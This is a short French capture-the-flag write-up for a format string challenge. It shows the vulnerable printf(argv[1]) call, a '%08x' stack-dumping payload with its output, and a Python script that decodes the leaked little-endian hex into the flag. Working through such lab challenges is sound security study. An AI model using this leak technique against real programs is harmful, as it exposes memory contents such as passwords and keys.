

WRITE UP String basic

Nous pouvons voir dans le code que le programme affiche l'input de l'utilisateur d'une très mauvaise manière, il pourrait donc s'agir d'un bug string basic.

```
printf(argv[1]);
```

Nous pouvons dump la stack avec ce type de payload :

```
./format_string $(python3 -c 'print("%08x"*64)')
Your password :
0000003000000000108b211a00804803400000000f7f69000324d484e48577b4949445f595f495f4445564153454854
5f414c465f4e4f5f474548545f4154535f007d4b43000
0000a08b211a0000000002ffca9174ffca9180ffca90d00000000f7f0c000000000f7d41e46f7f0c000f7f0c0000
0000000f7d41e4600000002ffca9174ffca9180ffca9104ffca9114f7f69b
40f7f36410f7f0c0000000000100000000ffca915800000000f7f690000000000f7f0c000f7f0c0000000005740
ac2d6a5af23d0000000000000000000000000000002080490a000000000f
7f548f0f7f4f2300804c00000000002080490a000000000080490d2080491b2
Sorry, you didn't find the password!, actually you can't so it's okay don't cry :)
```

Puis parse le resultat en little endian -> hex -> to string :

La partie la plus dur du chall finalement

```
import binascii

result =
"0000003000000000109add1a00804803400000000f7f20000324d484e48577b4949445f595f495f444556415345485
45f414c465f4e4f5f474548545f4154535f007d4b430000000a09add1a000000002ffc78e84ffc78e90ffc78de0000
0000f7ec300000000000f7cf8e46f7ec3000f7ec3000000000f7cf8e4600000002ffc78e84ffc78e90ffc78e14f
fc78e24f7f20b40f7eed410f7ec3000000000100000000ffc78e6800000000f7f200000000000f7ec3000f7ec300
00000000d9df339bc9df0d8b000000000000000000000000002080490a00000000f7f0b8f0f7f062300804c
00000000002080490a000000000080490d2080491b2"

for i in range(int(len(result)/8)):
    try:
        #It's a string so we can decode
        print(binascii.unhexlify(result[i*8:(i+1)*8]).decode()[::-1],end="")
    except:
        print(binascii.unhexlify(result[i*8:(i+1)*8])[::-1],end="")
```

Et cela nous affiche le flag !!